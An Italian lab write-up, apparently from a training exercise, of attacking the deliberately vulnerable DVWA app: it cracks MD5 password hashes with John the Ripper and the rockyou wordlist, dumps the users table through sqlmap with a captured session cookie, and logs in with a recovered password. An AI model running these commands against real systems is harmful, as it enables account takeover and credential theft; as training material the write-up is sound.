

A questo punto ho lanciato il tool John the Ripper:

```
(kali@kali)-[~/Desktop]
$ sudo john --format=raw-md5 --wordlist=/home/kali/Desktop/rockyou.txt pwwhash
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (admin)
abc123         (gordonb)
letmein       (pablo)
charley       (1337)
4g 0:00:00:00 DONE (2022-11-30 08:48) 80.00g/s 61440p/s 61440c/s 92160C/s my3kids..dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

e sono riuscito a craccare le password. Ne mostra solo 4 poiché 2 hash sono uguali. Seguendo le indicazioni alla fine del processo sono riuscito a vedere tutte le password craccate:

```
(kali@kali)-[/]
$ sudo john --show --format=raw-md5 /home/kali/Desktop/pwwhash
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password
5 password hashes cracked, 0 left
```

Finito di utilizzare John the ripper ho controllato che si potesse fare lo stesso utilizzando sqlmap.

```
(kali@kali)-[/usr]
$ sqlmap -u "http://192.168.50.111/dvwa/vulnerabilities/sqli/?id=6Submit=Submit#" --cookie="security=low; PHPSESSID=1c8cac80980dd09c48f6120cdfb79d8" --dump --passwords
```



The Burpsuite interface shows a session cookie: `security=low; PHPSESSID=1c8cac80980dd09c48f6120cdfb79d8`. Below it, a list of cracked passwords is displayed, including `admin:password`, `gordonb:abc123`, `1337:charley`, `pablo:letmein`, and `smithy:password`.

Come possiamo vedere nell'immagine qui sopra sono andato a recuperare il cookie di sessione tramite Burpsuite. Una volta lanciato il tool mi ha chiesto se volessi craccare le password provando un attacco a dizionario. Il risultato è visibile nell'immagine qui sotto:

```
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[08:11:58] [INFO] using hash method 'md5_generic_passwd'
[08:11:58] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[08:11:58] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[08:11:58] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[08:11:58] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'

Database: dvwa
Table: users
[5 entries]
```

user_id	user	avatar	password	last_name	first_name
1	admin	http://172.16.123.129/dvwa/hackable/users/admin.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	admin	admin
2	gordonb	http://172.16.123.129/dvwa/hackable/users/gordonb.jpg	e99a18c428cb38d5f260853678922e03 (abc123)	Brown	Gordon
3	1337	http://172.16.123.129/dvwa/hackable/users/1337.jpg	8d3533d75ae2c3966d7e0d4fcc69216b (charley)	Me	Hack
4	pablo	http://172.16.123.129/dvwa/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)	Picasso	Pablo
5	smithy	http://172.16.123.129/dvwa/hackable/users/smithy.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	Smith	Bob

Anche tramite l'utilizzo di sqlmap sono riuscito a craccare le password per tutti gli utenti e corrispondono a quelle trovate tramite jack the ripper. Sono quindi andato a provare a fare il login con le credenziali che abbiamo trovato provando con user:pablo password:letmein:

You have logged in as 'pablo'